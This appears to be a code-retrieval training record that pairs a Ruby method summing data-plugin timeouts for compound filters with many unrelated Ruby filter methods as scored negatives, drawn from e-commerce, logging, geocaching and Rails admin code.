"def adjustSingleFilter(filter_name)\n\t\tmeth = @methods[filter_name]\n\t\tremove_list = Array.new\n\t\tmeth.getCalls.each do |c|\n\t\t\tif c.getOn.length > 0\n\t\t\t\tc.getOn.each do |on|\n\t\t\t\t\tif @methods[on] == nil\n\t\t\t\t\t\tputs \"Defined #{filter_name} :on => #{on}, but method #{on} is not explicitly defined\"\n\t\t\t\t\telse\n\t\t\t\t\t\t@methods[on].insertCall(c)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tremove_list.push(c)\n\t\t\tend\n\t\tend\n\t\tremove_list.each do |r|\n\t\t\tmeth.getCalls.delete(r)\n\t\tend\n\tend",
"def each_module_filter(opts, name, entry)\n\t\treturn false\n\tend",
"def configure(conf)\n specified_type_name = conf['@type']\n\n super\n\n @filter_categories = @filter_categories.map(&:to_sym)\n @drop_categories = @drop_categories.map(&:to_sym)\n\n if specified_type_name == 'woothee_fast_crawler_filter' || @fast_crawler_filter_mode\n @fast_crawler_filter_mode = true\n\n if @filter_categories.size > 0 || @drop_categories.size > 0 || @merge_agent_info\n raise Fluent::ConfigError, \"fast_crawler_filter cannot be specified with filter/drop/merge options\"\n end\n\n define_singleton_method(:filter, method(:filter_fast_crawler))\n return\n end\n\n if @filter_categories.size > 0 && @drop_categories.size > 0\n raise Fluent::ConfigError, \"both of 'filter' and 'drop' categories specified\"\n elsif @filter_categories.size > 0\n unless @filter_categories.reduce(true){|r,i| r and Woothee::CATEGORY_LIST.include?(i)}\n raise Fluent::ConfigError, \"filter_categories has invalid category name\"\n end\n @mode = :filter\n elsif @drop_categories.size > 0\n unless @drop_categories.reduce(true){|r,i| r and Woothee::CATEGORY_LIST.include?(i)}\n raise Fluent::ConfigError, \"drop_categories has invalid category name\"\n end\n @mode = :drop\n else\n @mode = :through\n end\n\n if @mode == :through && ! @merge_agent_info\n raise Fluent::ConfigError, \"configured not to do nothing (not to do either filter/drop nor addition of parser result)\"\n end\n\n define_singleton_method(:filter, method(:filter_standard))\n end",
"def filters\n end",
"def initialize_available_filters\n @@available_filters ||= {}\n end",
"def applicable_filters\n fs = []\n fs << Spree::ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::ProductFilters.price_filter if Spree::ProductFilters.respond_to?(:price_filter)\n fs << Spree::ProductFilters.brand_filter if Spree::ProductFilters.respond_to?(:brand_filter)\n #fs << Spree::ProductFilters.occasion_filter if Spree::ProductFilters.respond_to?(:occasion_filter)\n #fs << Spree::ProductFilters.holiday_filter if Spree::ProductFilters.respond_to?(:holiday_filter)\n fs << Spree::ProductFilters.selective_occasion_filter(self) if Spree::ProductFilters.respond_to?(:selective_occasion_filter)\n fs << Spree::ProductFilters.selective_holiday_filter(self) if Spree::ProductFilters.respond_to?(:selective_holiday_filter)\n fs\n end",
"def applicable_filters\n fs = []\n fs << Spree::ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::ProductFilters.price_filter if Spree::ProductFilters.respond_to?(:price_filter)\n fs << Spree::ProductFilters.brand_filter if Spree::ProductFilters.respond_to?(:brand_filter)\n #fs << Spree::ProductFilters.occasion_filter if Spree::ProductFilters.respond_to?(:occasion_filter)\n #fs << Spree::ProductFilters.holiday_filter if Spree::ProductFilters.respond_to?(:holiday_filter)\n fs << Spree::ProductFilters.selective_occasion_filter(self) if Spree::ProductFilters.respond_to?(:selective_occasion_filter)\n fs << Spree::ProductFilters.selective_holiday_filter(self) if Spree::ProductFilters.respond_to?(:selective_holiday_filter)\n fs\n end",
"def config_filters\n []\n end",
"def apply_filter\n end",
"def apply_filters(chaine, asked_filter= \"\")\n # m contient la classe du filtre, donc pour le filtre machin, on recherche :machin_slip dans le hash\n m = filters[\"#{asked_filter}_slip\".to_sym]\n # Si m existe, on appelle m.instance (classe singleton), et on applique\n chaine = m.nil? ? chaine : m.instance.filter(chaine)\n return chaine\n end",
"def array_filters_enabled?\n $array_filters_enabled ||= scanned_client_server!.features.array_filters_enabled?\nend",
"def global_filter(&block)\n @filters[nil] = block\n end",
"def filter(&block)\n filters = self.filters << yield\n metaclass.send(:define_method, :_filters) do\n filters\n end\n end",
"def preFetchFilter\n @filtered = Filter.new(@combinedWaypoints)\n debug \"Filter running cycle 1, #{caches(@filtered.totalWaypoints)} left.\"\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['cacheType']\n # post-filter by cacheType\n @appliedFilters['-c'] = { 'f' => \"#{@option['cacheType']}\", 't' => \"type\" }\n # event+ is now all_event, unknown+ is now all_unknown\n if @option['cacheType'] !~ /\\+$/ and\n @option['cacheType'] !~ /^all_/\n # but only if there's no \"all xxx\" chosen\n # we must trust that the query returns correct data here...\n @filtered.cacheType(@option['cacheType'])\n else\n displayWarning \"Not filtering for cache type!\"\n end\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Cache type\")\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if not @option['includeArchived']\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if not @option['includeDisabled']\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @filtered.removeByElement('membersonly')\n end\n # may not be accurate before fetching details?\n if @option['onlyPMO']\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n if $DTSFILTER\n #-------------------\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n @filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n #-------------------\n end # $DTSFILTER\n\n debug \"Filter running cycle 2, #{caches(@filtered.totalWaypoints)} left.\"\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['foundDateInclude']\n @appliedFilters['-r'] = { 'f' => \"#{@option['foundDateInclude']}\", 't' => \"found age max\" }\n @filtered.foundDateInclude(@option['foundDateInclude'].to_f)\n end\n if @option['foundDateExclude']\n @appliedFilters['-R'] = { 'f' => \"#{@option['foundDateExclude']}\", 't' => \"found age min\" }\n @filtered.foundDateExclude(@option['foundDateExclude'].to_f)\n end\n if @option['placeDateInclude']\n @appliedFilters['-j'] = { 'f' => \"#{@option['placeDateInclude']}\", 't' => \"cache age max\" }\n @filtered.placeDateInclude(@option['placeDateInclude'].to_f)\n end\n if @option['placeDateExclude']\n @appliedFilters['-J'] = { 'f' => \"#{@option['placeDateExclude']}\", 't' => \"cache age min\" }\n @filtered.placeDateExclude(@option['placeDateExclude'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Date\")\n\n debug \"Filter running cycle 3, #{caches(@filtered.totalWaypoints)} left.\"\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['notFound']\n @appliedFilters['-n'] = { 'f' => \"\", 't' => \"virgins\" }\n @filtered.notFound\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Unfound\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['travelBug']\n @appliedFilters['-b'] = { 'f' => \"\", 't' => \"trackables\" }\n @filtered.travelBug\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Trackable\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['ownerExclude']\n @appliedFilters['-I'] = { 'f' => \"#{@option['ownerExclude']}\", 't' => \"not owned by\" }\n @option['ownerExclude'].split($delimiters).each{ |owner|\n @filtered.ownerExclude(owner)\n }\n end\n if @option['ownerInclude']\n @appliedFilters['-i'] = { 'f' => \"#{@option['ownerInclude']}\", 't' => \"owned by\" }\n @option['ownerInclude'].split($delimiters).each{ |owner|\n @filtered.ownerInclude(owner)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Owner\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['titleKeyword']\n @appliedFilters['-k'] = { 'f' => \"#{@option['titleKeyword']}\", 't' => \"matching title keyword\" }\n @filtered.titleKeyword(@option['titleKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Title\")\n\n displayMessage \"Pre-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n end",
"def applicable_filters\n fs = []\n # fs << ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::Core::ProductFilters.price_filter if Spree::Core::ProductFilters.respond_to?(:price_filter)\n fs << Spree::Core::ProductFilters.brand_filter if Spree::Core::ProductFilters.respond_to?(:brand_filter)\n fs\n end",
"def define_filter(name, &block)\n filters[name.to_sym] = block\n nil\n end",
"def filters\n @filters ||= {}\n end",
"def global_filter=(_arg0); end",
"def register_filter(mod); end",
"def add_filter\n @filter = true \n end",
"def _call_filters(filter_set)\n (filter_set || []).each do |filter, rule|\n # Both:\n # * no :only or the current action is in the :only list\n # * no :exclude or the current action is not in the :exclude list\n if (!rule.key?(:only) || rule[:only].include?(action_name)) &&\n (!rule.key?(:exclude) || !rule[:exclude].include?(action_name))\n case filter\n when Symbol, String then send(filter)\n when Proc then self.instance_eval(&filter)\n end\n end\n end\n return :filter_chain_completed\n end",
"def filter\n @filter ||= if Platform.linux?\n linux_filter\n elsif Platform.os_x?\n os_x_filter\n else\n raise \"Only works on Linux or OS X\"\n end\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.admin?\n super\n end",
"def allowed_filters\n []\n end",
"def autofilter\n true\n end",
"def filterable?; @filterable; end",
"def validate_filter()\n filter_module = (RUBY_VERSION < '1.9') ? params[:filter] : params[:filter].to_sym\n if (params.key?(:filter) && @source::Filters::constants.include?(filter_module))\n @filter = \"#{@source.name}::Filters::#{params[:filter]}\".constantize\n else\n redirect_to root_path\n end\n end",
"def update_filters_for_canonical_change\n if self.canonical_changed?\n if self.canonical?\n self.add_filter_taggings\n elsif self.merger && self.merger.canonical?\n self.filter_taggings.update_all([\"filter_id = ?\", self.merger_id])\n else\n self.remove_filter_taggings\n end\n end \n end",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def filter *filters\n spawn :@filters, @filters + parse_filter_input(filters)\n end",
"def filters=(_arg0); end",
"def filters=(_arg0); end",
"def method_missing(method_name, *args)\n if m = method_name.to_s.match(/\\Apasses_filter_(\\d+)\\Z/)\n object_filter = ObjectFilter.find(m[1])\n passes_filter? object_filter\n elsif m = method_name.to_s.match(/\\AFilter: (.+)\\Z/)\n object_filter = ObjectFilter.find_by_title(m[1])\n return super unless object_filter\n passes_filter? object_filter\n else\n super(method_name, *args)\n end\n end",
"def filter(*args,&block)\n if args && args.any? || block_given?\n @filter = Lolita::Configuration::Filter.new(dbi,*args,&block)\n add_observer(@filter)\n end\n @filter\n end",
"def filters_for_user(user)\n user.present? ? filters_with_external : public_filters\n end",
"def set_brand_filter\n # return true if @products.nil?\n # return true if generic_results?\n # \n # @brands = @products.map(&:brand).compact.uniq.sort_by(&:name)\n # true\n end",
"def bench_filters\n skip 'TODO'\n end",
"def filter\n \n ## Make sure this object quacks like the suitable variety of duck\n self.class::REQUIRED_QUACKS.each do |method|\n \n return nil unless self.respond_to? method\n return nil unless self.send(method)\n \n end\n \n return self\n \n end",
"def supported_features_filter_for_client(client_name, client_version)\n\t# by default, will return only packages that have no \"required version\" set.\n\tversion_string = formatted_version_string(client_version)\n\tif (client_name != \"Emu iOS\" and client_name !=\"Emu Android\") or version_string == nil\n\t\tfilter = {\n\t\t\t\"required_ios_version\"=>{\"$exists\"=>false}, \n\t\t\t\"required_android_version\"=>{\"$exists\"=>false}\n\t\t}\n\t\treturn filter\n\tend\n\n\t# Some packs use features available only starting from a given iOS or Android client\n\t\n\t# iOS\n\tif client_name == \"Emu iOS\"\n\t\tfilter = {\n\t\t\t\"$or\"=>[\n\t\t\t\t{\"required_ios_version\"=>{\"$exists\"=>false}}, \t\t# packs with no minimal requirement\n\t\t\t\t{\"required_ios_version\"=>{\"$lte\"=>version_string}}\t# packs with a minimal requirement for iOS\n\t\t\t]\n\t\t}\n\t\treturn filter\n\tend\n\n\t# Android\n\tif client_name == \"Emu Android\"\n\t\tfilter = {\n\t\t\t\"$or\"=>[\n\t\t\t\t{\"required_android_version\"=>{\"$exists\"=>false}},\t\t# packs with no minimal requirement\n\t\t\t\t{\"required_android_version\"=>{\"$lte\"=>version_string}}\t# packs with a minimal requirement for Android\n\t\t\t]\n\t\t}\n\t\treturn filter\n\tend\n\nend",
"def filter(name, &block)\n warn [\n \"NOTE: The fixed `filter` class method is deprecated.\",\n \"This will be removed in 0.22. Use the API for modifers instead.\"\n ].join\n registry.filter(name, &block)\n end",
"def init_config()\n options_apply_filter(\"DEFAULT\")\n end",
"def target_filters\n scan_ses_notes if @target_filters.nil?\n @target_filters\n end",
"def filters\n [\n GoHiring::SlackMarkdown::Filters::MergeMethodFilter,\n GoHiring::SlackMarkdown::Filters::HeaderFilter,\n GoHiring::SlackMarkdown::Filters::EmptyBlockFilter,\n GoHiring::SlackMarkdown::Filters::BlockBreakerFilter\n ]\n end",
"def initialize()\n @filters ||= []\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.current_user.administrator?\n super\n end",
"def filters\n @filters ||= {}\n end",
"def filters\n @filters ||= {}\n end",
"def filters\n @filters ||= FiltersProvider.new\n end",
"def update!(**args)\n @communications_filter = args[:communications_filter] if args.key?(:communications_filter)\n @music_filter = args[:music_filter] if args.key?(:music_filter)\n @news_filter = args[:news_filter] if args.key?(:news_filter)\n @podcast_filter = args[:podcast_filter] if args.key?(:podcast_filter)\n @search_filter = args[:search_filter] if args.key?(:search_filter)\n @third_party_apps_filter = args[:third_party_apps_filter] if args.key?(:third_party_apps_filter)\n @video_filter = args[:video_filter] if args.key?(:video_filter)\n @webview_filter = args[:webview_filter] if args.key?(:webview_filter)\n end",
"def applicable_filters\n fs = []\n products_searched = []\n\n if params[:search] \n if @products\n @products.each do |p|\n products_searched << p.id\n end\n end\n else\n products_searched = @taxon.products.all.pluck(:id)\n end\n\n fs << Spree::Core::ProductFilters.selective_filter('Quantity', :selective_quantity_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Manufacturer', :selective_manufacturer_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Use Type', :selective_use_type_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Bullet Type', :selective_bullet_type_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Bullet Weight', :selective_bullet_weight_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Ammo Casing', :selective_ammo_casing_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Ammo Caliber', :selective_ammo_caliber_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Primer Type', :selective_primer_type_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Condition', :selective_condition_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.price_filter(products_searched) if Spree::Core::ProductFilters.respond_to?(:price_filter)\n fs\n \n end",
"def get_filter_backends\n return self.class.filter_backends || []\n end",
"def set_filter(opts)\n opts = check_params(opts,[:filters])\n super(opts)\n end",
"def custom_filter?(filter)\n self.respond_to? filter\n end",
"def supports_filtered_aggregates?\n server_version >= 90400\n end",
"def test_add_filter\n flunk\n end",
"def setups(filter=\"\")\n debug \"Systematic#setups(#{filter})\"\n setups = []\n strategies(filter).each do |strategy|\n debug \"Systematic#setups strategy=#{strategy}\"\n strategy.watchlist.each do |setup|\n sec_id, ticker = strategy.parse_setup(setup)\n setups << strategy.config_buy_entry(setup) if strategy.buy?(sec_id)\n end\n end\n puts \"setups=#{setups}\"\n setups\n end",
"def named_filter; end",
"def validate_filterrific_available_filters\n if filterrific_available_filters.blank?\n raise(ArgumentError, \":available_filters can't be empty\")\n end\n end",
"def typus_defaults_for(filter)\n if self.respond_to?(\"admin_#{filter}\")\n self.send(\"admin_#{filter}\")\n else\n Typus::Configuration.config[self.name][filter.to_s].split(', ') rescue []\n end\n end",
"def filter?\n @filter.is_a?(Lolita::Configuration::Filter)\n end",
"def filters\n if @filters.empty?\n fetch_configuration()\n end\n return @filters\n end",
"def initialize\n @filters = []\n end",
"def set_filters\n @filters = []\n section_ids = Section.pluck(:id)\n\n [:ministers, :departments].each do |filter_type|\n if params[filter_type].present?\n id_list = params[filter_type].map(&:to_i)\n\n id_list.reject! do |item|\n !section_ids.include? item\n end\n\n @filters += Section.where(id: id_list)\n end\n end\n end",
"def module_info(opts)\n opts = check_params(opts,[:filter])\n super(opts)\n end",
"def autofilter_services\n @autofilter_services || []\n end",
"def register_filter(mod)\n StrainerFactory.add_global_filter(mod)\n end",
"def _set_filter\n if param(:catid)\n catsplit = param(:catid).split('__')\n parmfilter = catsplit[0]\n # category_not_clicked = false\n else\n parmfilter = param(:filter)\n # category_not_clicked = true\n end\n new_filter = @filters.assoc(parmfilter) ? parmfilter : (@filter || @filters.first[0])\n filter_unchanged = (@filter == new_filter)\n @filter = new_filter\n # For now I am just accepting the subfilter as-is, I am pretty sure it is validated elsewhere\n @subfilter = param(:subfilter) || {}\n # @subfilter = param(:subfilter)\n # puts \"FILTER FILTER FILTER: Init? #{(param(:init) ? 'YES' : 'NO)')}, Category not clicked? #{(category_not_clicked ? 'YES' : 'NO')}, Unchanged? #{(filter_unchanged ? 'YES' : 'NO')}, subfilter: #{@subfilter.inspect}\"\n # puts \"FILTER FILTER FILTER UPDATED UPDATED UPDATED. filter \" + @filter.inspect + ' ** SUBFILTER ** ' + @subfilter.inspect\n # Redraw the filter if the top filter changed, or on init\n redraw_filter = (param(:init) || !filter_unchanged) ? js_redraw_filter : ''\n # Update the results unless on init, or unless the filter was unchanged even though category was clicked\n # update_results = (param(:init) || (filter_unchanged && !category_not_clicked)) ? '' : update_recordset_js(false)\n update_results = (param(:init) || filter_unchanged) ? '' : update_recordset_js(false)\n clear_checkboxes = (filter_unchanged) ? '' : <<-JS\n jQuery('##{@jqgrid_id}_#{@filter}_filter_form').find('input[type=checkbox]').attr('checked',false);\n JS\n # clear_checkboxes = (filter_unchanged && category_not_clicked) ? '' : <<-JS\n # jQuery('##{@jqgrid_id}_#{@filter}_filter_form').find('input[type=checkbox]').attr('checked',false);\n # JS\n render :js => redraw_filter + clear_checkboxes + update_results\n end",
"def collect_exists?; collect_data_exists? || collect_module_exists?; end",
"def set_filters\n filter_param_keys = [\n 'brand', 'color',\n 'size', 'department', 'keywords'\n ]\n @filters = []\n filter_param_keys.each do |key|\n if !params[key].blank?\n params[key].split(',').each do |val|\n @filters << {:key => key, :val => val}\n end\n end\n end\n \n \n if params[:price]\n params[:price].split(',').each_slice(2).to_a.each do |range|\n @filters << {:key => 'price', :val => range.join(',')}\n end\n end\n\n if @products\n @brands = @products.facet('brand_facet').rows.sort_by{ |brand| brand.value.capitalize}\n @departments = @products.facet('department_facet').rows\n end\n \n @colors = ['green', 'blue', 'purple', 'red', 'pink', 'beige', 'brown', 'yellow', 'orange', 'black', 'white', 'gray', 'teal', 'glowing', 'gold', 'silver']\n \n if !@taxon.nil? && @taxon.has_size?\n sizes = (Spree::Product.sizes.sort_by{|size| size.position}.map(&:presentation) & @products.facet(\"size_facet\").rows.map(&:value))\n end\n end",
"def set_filters\n @filters ||= begin\n filters = []\n filters << { attribute: Gemgento::ProductAttribute.find_by!(code: 'color'), value: params[:color] } unless params[:color].blank?\n filters\n end\n end",
"def apply_filtering(collection)\n @filters = Question.get_advanced_filter_collection(collection,true,'click')\n Question.filtering_scopes.each do |scope|\n collection = collection.filter_by(scope, filter_params[scope], \"email\") unless filter_params[scope].blank?\n end\n return collection\n end",
"def all_apply?(filters)\n self.class.all_apply?(filters)\n end",
"def check_if_filter_used(filtername)\n\n # define vars\n filterused = nil\n\n if $opts[:interfacemapout]\n $h_ints_map_out.each_key do |x|\n int, sub = x.split()\n\n # if $h_interfaces[int][sub][:ipv4_input_filter] == filtername ||\\\n # $h_interfaces[int][sub][:ipv6_input_filter] == filtername ||\\\n # $h_interfaces[int][sub][:ipv4_output_filter] == filtername ||\\\n # $h_interfaces[int][sub][:ipv6_output_filter] == filtername\n #\n # filterused = true\n # return filterused if filterused\n #\n # end\n end\n else\n # Check to see if filter is used by an interface\n $h_interfaces.each_key do |int|\n $h_interfaces[int].each_key do |sub|\n if $h_interfaces[int][sub][:ipv4_input_filter] == filtername ||\\\n $h_interfaces[int][sub][:ipv6_input_filter] == filtername ||\\\n $h_interfaces[int][sub][:ipv4_output_filter] == filtername ||\\\n $h_interfaces[int][sub][:ipv6_output_filter] == filtername\n\n filterused = true\n return filterused if filterused\n\n end\n end\n end\n end\n return filterused\nend",
"def add_filtering_tests\n measure = ApplicationController.helpers.pick_measure_for_filtering_test(measure_ids, bundle)\n reload_relations\n\n return if product_tests.filtering_tests.any?\n criteria = %w(races ethnicities genders payers age).shuffle\n filter_tests = []\n filter_tests.concat [build_filtering_test(measure, criteria[0, 2]), build_filtering_test(measure, criteria[2, 2])]\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI, TIN & Provider Location')\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI & TIN', false)\n criteria = ApplicationController.helpers.measure_has_diagnosis_criteria?(measure) ? ['problems'] : criteria.values_at(4, (0..3).to_a.sample)\n filter_tests << build_filtering_test(measure, criteria)\n ApplicationController.helpers.generate_filter_records(filter_tests)\n end",
"def available_filters\n unless @available_filters\n initialize_available_filters\n @available_filters.each do |field, options|\n options[:name] ||= l(options[:label] || \"field_#{field}\".gsub(/_id$/, ''))\n end\n end\n @available_filters\n end",
"def typus_actions_on(filter)\n actions = read_model_config['actions']\n actions && actions[filter.to_s] ? actions[filter.to_s].extract_settings : []\n end",
"def filters\n if metaclass.method_defined? :_filters\n self._filters\n else\n []\n end\n end",
"def filter(filt = nil, *args, **opts)\n @filter = if filt.nil? && !defined?(@filter)\n Filters.default\n elsif filt\n Filters.resolve(filt, *args, **opts)\n else\n @filter\n end\n\n aggregator.filter = @filter\n\n @filter\n end",
"def register_filter(mod)\n Strainer.global_filter(mod)\n end"
] | [
"0.60175973",
"0.5943134",
"0.58652806",
"0.58121777",
"0.5759418",
"0.5694268",
"0.56464165",
"0.5602484",
"0.5596665",
"0.55617255",
"0.5529939",
"0.552418",
"0.55021983",
"0.54675096",
"0.5450949",
"0.5450949",
"0.54447466",
"0.5443823",
"0.5436667",
"0.53854954",
"0.53738785",
"0.5368322",
"0.52962637",
"0.52954984",
"0.52954984",
"0.5290843",
"0.5285753",
"0.5263433",
"0.524922",
"0.52412194",
"0.52243894",
"0.5221775",
"0.52193034",
"0.5189368",
"0.51887053",
"0.5156388",
"0.5154743",
"0.51535845",
"0.51433814",
"0.51360583",
"0.51268065",
"0.51215756",
"0.5114347",
"0.5108367",
"0.51004654",
"0.5077089",
"0.5067635",
"0.5067635",
"0.5067635",
"0.5067635",
"0.5048479",
"0.5031978",
"0.5031978",
"0.5023173",
"0.50228643",
"0.5020468",
"0.50160813",
"0.50153494",
"0.5004837",
"0.49879187",
"0.4977657",
"0.4973647",
"0.49436924",
"0.49386778",
"0.49308392",
"0.4927113",
"0.49215946",
"0.49215946",
"0.49166673",
"0.49113002",
"0.49101934",
"0.4900748",
"0.49006116",
"0.48946792",
"0.48782268",
"0.48737627",
"0.48730126",
"0.486478",
"0.48595956",
"0.4858164",
"0.48386297",
"0.48349273",
"0.4826259",
"0.4814693",
"0.48127618",
"0.48066872",
"0.4805728",
"0.4800508",
"0.47997698",
"0.47910115",
"0.4788686",
"0.47854757",
"0.47853348",
"0.47787377",
"0.47744232",
"0.4771452",
"0.47704822",
"0.47667828",
"0.4758511",
"0.47524396"
] | 0.7692432 | 0 |
if a compound filter is specified and it has any function then we read the DDL for each of those plugins and sum up the timeout declared in the DDL | def timeout_for_compound_filter(compound_filter)
return 0 if compound_filter.nil? || compound_filter.empty?
timeout = 0
compound_filter.each do |filter|
filter.each do |statement|
if statement["fstatement"]
pluginname = Data.pluginname(statement["fstatement"]["name"])
ddl = DDL.new(pluginname, :data)
timeout += ddl.meta[:timeout]
end
end
end
timeout
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ts_apply_filters\n # TODO: Make filters for Thinking Sphinx\n end",
"def postFetchFilter\n @filtered= Filter.new(@detail.waypoints)\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeArchived']\n @appliedFilters['--includeArchived'] = { 'f' => \"\", 't' => \"also archived\" }\n else\n # this would cause too much noise, don't advertise\n #@appliedFilters['--excludeArchived'] = { 'f' => \"\", 't' => \"not archived\" }\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeDisabled']\n @appliedFilters['-z'] = { 'f' => \"\", 't' => \"also disabled\" }\n else\n @appliedFilters['+z'] = { 'f' => \"\", 't' => \"not disabled\" }\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @appliedFilters['-O'] = { 'f' => \"\", 't' => \"no PMO\" }\n @filtered.removeByElement('membersonly')\n end\n if @option['onlyPMO']\n @appliedFilters['-Q'] = { 'f' => \"\", 't' => \"PMO\" }\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['descKeyword']\n @appliedFilters['-K'] = { 'f' => \"#{@option['descKeyword']}\", 't' => \"matching descr. keyword\" }\n @filtered.descKeyword(@option['descKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Keyword\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n 